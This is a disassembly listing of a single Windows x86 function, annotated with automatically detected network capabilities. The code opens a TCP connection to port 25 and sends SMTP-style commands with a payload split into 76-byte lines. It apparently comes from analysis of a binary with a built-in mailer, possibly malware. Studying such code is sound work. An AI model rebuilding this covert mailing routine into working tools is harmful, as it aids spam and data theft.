Function at 0x40bb94
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x42
push 0
push 0
dec ecx
jne 0x40bb9c
push ebx
push esi
push edi
mov dword [ebp - 8], eax
mov ebx, 0x413b38
mov esi, 0x413ae4
mov edi, 0x413b34
xor eax, eax
push ebp
push 0x40c063
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [0x412138], 0
jne 0x40bbd9
mov eax, 0x40c07c
call fcn.00411020
mov byte [ebp - 9], 0
lea eax, [ebp - 0x1a0]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebp - 4], eax
mov word [ebp - 0x1b0], 2
push 0x19
call sub.wsock32.dll_htons
mov word [ebp - 0x1ae], ax
call fcn.0040ced8
lea edx, [ebp - 0x1b4]
mov eax, dword [0x493b68]
call fcn.004060bc
mov edx, dword [ebp - 0x1b4]
mov eax, 0x493b6c
call fcn.00403770
mov eax, dword [0x493b6c]
call fcn.00403894
cmp eax, 5
jge 0x40bc8a
push 0x40c08c
push dword [0x493b68]
push 0x40c0a0
lea edx, [ebp - 0x1bc]
xor eax, eax
call fcn.004061f4
push dword [ebp - 0x1bc]
lea eax, [ebp - 0x1b8]
mov edx, 4
call fcn.00403954
mov eax, dword [ebp - 0x1b8]
call fcn.00411020
jmp 0x40c03d
mov eax, dword [0x493b6c]
call fcn.00403a94
push eax
call sub.wsock32.dll_inet_addr
mov dword [ebp - 0x1ac], eax
push 0x10
lea eax, [ebp - 0x1b0]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.wsock32.dll_connect
mov dword [ebx], eax
cmp dword [ebx], 0xffffffff
jne 0x40bcf4
lea edx, [ebp - 0x1c4]
xor eax, eax
call fcn.004061f4
mov ecx, dword [ebp - 0x1c4]
lea eax, [ebp - 0x1c0]
mov edx, 0x40c0ac
call fcn.004038e0
mov eax, dword [ebp - 0x1c0]
call fcn.00411020
lea eax, [ebp - 4]
call fcn.004061e4
jmp 0x40c03d
push ebp
lea eax, [ebp - 0x1c8]
push eax
xor ecx, ecx
mov dl, 1
xor eax, eax
call fcn.0040b9a0
pop ecx
push ebp
lea eax, [ebp - 0x1cc]
push eax
mov ecx, 0x40c0bc
mov dl, 1
mov eax, 0x40c0c8
call fcn.0040b9a0
pop ecx
mov eax, dword [ebp - 0x1cc]
mov edx, 0x40c0e0
call fcn.004039e0
je 0x40c03d
push ebp
lea eax, [ebp - 0x1d0]
push eax
mov ecx, 0x40c0ec
mov dl, 1
mov eax, 0x40c0f8
call fcn.0040b9a0
pop ecx
mov eax, dword [ebp - 0x1d0]
mov edx, 0x40c0e0
call fcn.004039e0
je 0x40c03d
push ebp
lea eax, [ebp - 0x1d4]
push eax
mov ecx, 0x40c10c
mov dl, 1
mov eax, dword [0x493b70]
call fcn.0040b9a0
pop ecx
mov eax, dword [ebp - 0x1d4]
mov edx, 0x40c0e0
call fcn.004039e0
je 0x40c03d
push ebp
lea eax, [ebp - 0x1d8]
push eax
lea eax, [ebp - 0x1dc]
mov ecx, dword [0x493b74]
mov edx, 0x40c118
call fcn.004038e0
mov eax, dword [ebp - 0x1dc]
mov ecx, 0x40c0bc
mov dl, 1
call fcn.0040b9a0
pop ecx
mov eax, dword [ebp - 0x1d8]
mov edx, 0x40c0e0
call fcn.004039e0
je 0x40c03d
push ebp
lea eax, [ebp - 0x1e0]
push eax
lea eax, [ebp - 0x1e4]
mov ecx, dword [0x413aec]
mov edx, 0x40c12c
call fcn.004038e0
mov eax, dword [ebp - 0x1e4]
mov ecx, 0x40c0bc
mov dl, 1
call fcn.0040b9a0
pop ecx
push ebp
lea eax, [ebp - 0x1e8]
push eax
lea eax, [ebp - 0x1ec]
mov ecx, dword [0x413af4]
mov edx, 0x40c12c
call fcn.004038e0
mov eax, dword [ebp - 0x1ec]
mov ecx, 0x40c0bc
mov dl, 1
call fcn.0040b9a0
pop ecx
mov eax, dword [ebp - 0x1e8]
mov edx, 0x40c0e0
call fcn.004039e0
je 0x40c03d
push ebp
lea eax, [ebp - 0x1f0]
push eax
mov ecx, 0x40c140
mov dl, 1
mov eax, 0x40c14c
call fcn.0040b9a0
pop ecx
mov eax, dword [ebp - 0x1f0]
mov edx, 0x40c0e0
call fcn.004039e0
je 0x40c03d
push 0x40c15c
lea edx, [ebp - 0x1f4]
mov eax, 0x71
call fcn.00405370
push dword [ebp - 0x1f4]
push 0x40c0a0
push dword [0x413af8]
push 0x40c0a0
lea edx, [ebp - 0x1f8]
mov eax, dword [ebp - 8]
call fcn.0040b85c
push dword [ebp - 0x1f8]
lea eax, [ebp - 0x10]
mov edx, 6
call fcn.00403954
mov eax, dword [ebp - 0x10]
call fcn.00403894
mov dword [edi], eax
mov dword [ebx], 1
mov eax, esi
mov edx, 0x4c
call fcn.00403bc4
jmp 0x40bf29
lea eax, [ebp - 0x10]
call fcn.00403aec
mov edx, dword [ebx]
lea eax, [eax + edx - 1]
push eax
mov eax, esi
call fcn.00403aec
mov ecx, 0x4c
pop edx
call fcn.0040495c
push ebp
lea eax, [ebp - 0x1fc]
push eax
xor ecx, ecx
xor edx, edx
mov eax, dword [esi]
call fcn.0040b9a0
pop ecx
add dword [ebx], 0x4c
mov eax, dword [edi]
sub eax, 0x4c
cmp eax, dword [ebx]
jge 0x40bef1
mov eax, dword [edi]
sub eax, dword [ebx]
inc eax
mov dword [edi], eax
mov eax, esi
mov edx, dword [edi]
call fcn.00403bc4
mov eax, esi
call fcn.00403aec
mov ecx, 0x2b
mov edx, dword [edi]
call fcn.00402bd8
lea eax, [ebp - 0x10]
call fcn.00403aec
mov edx, dword [ebx]
lea eax, [eax + edx - 1]
push eax
mov eax, esi
call fcn.00403aec
mov ecx, dword [edi]
pop edx
call fcn.0040495c
push ebp
lea eax, [ebp - 0x200]
push eax
xor ecx, ecx
xor edx, edx
mov eax, dword [esi]
call fcn.0040b9a0
pop ecx
push ebp
lea eax, [ebp - 0x204]
push eax
mov ecx, 0x40c0bc
mov dl, 1
mov eax, 0x40c16c
call fcn.0040b9a0
pop ecx
mov edx, dword [ebp - 0x204]
lea eax, [ebp - 0x10]
call fcn.004037b4
lea eax, [ebp - 0x10]
push eax
mov ecx, 3
xor edx, edx
mov eax, dword [ebp - 0x10]
call fcn.00403af4
push ebp
lea eax, [ebp - 0x208]
push eax
mov ecx, 0x40c0bc
mov dl, 1
mov eax, 0x40c178
call fcn.0040b9a0
pop ecx
push ebp
lea eax, [ebp - 0x20c]
push eax
mov ecx, 0x40c188
mov dl, 1
mov eax, 0x40c194
call fcn.0040b9a0
pop ecx
lea eax, [ebp - 4]
call fcn.004061e4
mov eax, dword [ebp - 0x10]
mov edx, 0x40c0bc
call fcn.004039e0
jne 0x40c03d
mov byte [ebp - 9], 1
cmp byte [0x412138], 0
jne 0x40c038
lea eax, [ebp - 0x210]
mov ecx, dword [ebp - 8]
mov edx, 0x40c1a4
call fcn.004038e0
mov eax, dword [ebp - 0x210]
call fcn.00411020
call fcn.0040954c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c06a
lea eax, [ebp - 0x210]
mov edx, 0x18
call fcn.00403740
lea eax, [ebp - 0x10]
call fcn.0040371c
ret